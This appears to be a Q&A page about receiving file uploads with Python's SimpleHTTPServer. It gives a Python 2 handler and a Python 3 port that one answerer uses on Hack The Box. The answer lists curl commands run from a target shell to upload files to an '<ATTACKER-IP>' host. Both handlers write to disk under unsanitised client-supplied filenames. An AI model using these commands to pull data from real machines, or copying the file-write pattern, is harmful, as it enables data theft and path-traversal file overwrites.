Python SimpleHTTPServer to receive files

john picture john · Sep 30, 2016 · Viewed 22.4k times · Source

I am using SimpleHTTPServer's do_POST method to receive file. The script is working fine if I upload the png file using curl but whenever I use python request library to upload file, File uploads but become corrupt. Here is the SimpleHTTPServer code

#!/usr/bin/env python
# Simple HTTP Server With Upload.

import os
import posixpath
import BaseHTTPServer
import urllib
import cgi
import shutil
import mimetypes
import re
try:
    from cStringIO import StringIO
except ImportError:
    from StringIO import StringIO

class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):    
    # Simple HTTP request handler with POST commands.

    def do_POST(self):
        """Serve a POST request."""
        r, info = self.deal_post_data()
        print r, info, "by: ", self.client_address
        f = StringIO()

        if r:
            f.write("<strong>Success:</strong>")
        else:
            f.write("<strong>Failed:</strong>")

        length = f.tell()
        f.seek(0)
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.send_header("Content-Length", str(length))
        self.end_headers()
        if f:
            self.copyfile(f, self.wfile)
            f.close()

    def deal_post_data(self):
        print self.headers
        boundary = self.headers.plisttext.split("=")[1]
        print 'Boundary %s' %boundary
        remainbytes = int(self.headers['content-length'])
        print "Remain Bytes %s" %remainbytes
        line = self.rfile.readline()
        remainbytes -= len(line)
        if not boundary in line:
            return (False, "Content NOT begin with boundary")
        line = self.rfile.readline()
        remainbytes -= len(line)
        fn = re.findall(r'Content-Disposition.*name="file"; filename="(.*)"', line)
        if not fn:
            return (False, "Can't find out file name...")
        path = self.translate_path(self.path)
        fn = os.path.join(path, fn[0])
        line = self.rfile.readline()
        remainbytes -= len(line)
        line = self.rfile.readline()
        remainbytes -= len(line)
        try:
            out = open(fn, 'wb')
        except IOError:
            return (False, "Can't create file to write, do you have permission to write?")

        preline = self.rfile.readline()
        remainbytes -= len(preline)
        while remainbytes > 0:
            line = self.rfile.readline()
            remainbytes -= len(line)
            if boundary in line:
                preline = preline[0:-1]
                if preline.endswith('\r'):
                    preline = preline[0:-1]
                out.write(preline)
                out.close()
                return (True, "File '%s' upload success!" % fn)
            else:
                out.write(preline)
                preline = line
        return (False, "Unexpect Ends of data.")



    def translate_path(self, path):
        """Translate a /-separated PATH to the local filename syntax.

        Components that mean special things to the local file system
        (e.g. drive or directory names) are ignored.  (XXX They should
        probably be diagnosed.)

        """
        # abandon query parameters
        path = path.split('?',1)[0]
        path = path.split('#',1)[0]
        path = posixpath.normpath(urllib.unquote(path))
        words = path.split('/')
        words = filter(None, words)
        path = os.getcwd()
        for word in words:
            drive, word = os.path.splitdrive(word)
            head, word = os.path.split(word)
            if word in (os.curdir, os.pardir): continue
            path = os.path.join(path, word)
        return path

    def copyfile(self, source, outputfile):
        """Copy all data between two file objects.

        The SOURCE argument is a file object open for reading
        (or anything with a read() method) and the DESTINATION
        argument is a file object open for writing (or
        anything with a write() method).

        The only reason for overriding this would be to change
        the block size or perhaps to replace newlines by CRLF
        -- note however that this the default server uses this
        to copy binary data as well.

        """
        shutil.copyfileobj(source, outputfile)



def test(HandlerClass = SimpleHTTPRequestHandler,
         ServerClass = BaseHTTPServer.HTTPServer):
    BaseHTTPServer.test(HandlerClass, ServerClass)

if __name__ == '__main__':
    test()

client side code to upload a file is here

#!/usr/bin/python

import requests

files = {'file': open('test.png', 'rb')}
r = requests.post('http://192.168.5.134:8000', files=files)
print r.request.headers

File was uploaded successfully but become corrupted.

python request header

SimpleHTTPServer response

Using curl [ curl -F '[email protected]' 192.168.5.134:8000/ -v ], file uploaded and opened successfully.

Is there any issue in python-request code?

Answer

smidgey picture smidgey · Oct 6, 2019

2019 update: I was looking for this capability today while playing on hackthebox.eu. I'm not too flash on Python, but I ended up taking this example and porting it across to Python 3 seeing as Python 2 is basically dead at this point.

Hope this helps anyone looking for this in 2019, and I'm always happy to hear about ways I can improve the code. Get it at https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c

Thanks to the question asker, and those that commented with info!

Edit: I was asked to paste the code, no worries. I've stripped some comments from brevity, so here's some notes:

  1. Based on a gist by bones7456 because attribution matters.
  2. I stripped out the HTML from the responses because I didn't need it for my use case.
  3. Use this out in the wild at your own risk. I use it to move files around between servers on HTB so it's basically a toy in its current form.
  4. Hack the planet etc.

Run the script from your attack device in the folder holding your tools/data, or a box that you're pivoting off. Connect to it from the target PC to simply and conveniently push files back and forth.

#  Usage - connect from a shell on the target machine:
#  Download a file from your attack device: 
curl -O http://<ATTACKER-IP>:44444/<FILENAME>

#  Upload a file back to your attack device: 
curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:44444/


#  Multiple file upload supported, just add more -F 'file=@<FILENAME>'
#  parameters to the command line.
curl -F 'file=@<FILE1>' -F 'file=@<FILE2>' http://<ATTACKER-IP>:44444/

Code:

#!/usr/env python3
import http.server
import socketserver
import io
import cgi

# Change this to serve on a different port
PORT = 44444

class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):

    def do_POST(self):        
        r, info = self.deal_post_data()
        print(r, info, "by: ", self.client_address)
        f = io.BytesIO()
        if r:
            f.write(b"Success\n")
        else:
            f.write(b"Failed\n")
        length = f.tell()
        f.seek(0)
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.send_header("Content-Length", str(length))
        self.end_headers()
        if f:
            self.copyfile(f, self.wfile)
            f.close()      

    def deal_post_data(self):
        ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
        pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
        pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
        if ctype == 'multipart/form-data':
            form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
            print (type(form))
            try:
                if isinstance(form["file"], list):
                    for record in form["file"]:
                        open("./%s"%record.filename, "wb").write(record.file.read())
                else:
                    open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
            except IOError:
                    return (False, "Can't create file to write, do you have permission to write?")
        return (True, "Files uploaded")

Handler = CustomHTTPRequestHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print("serving at port", PORT)
    httpd.serve_forever()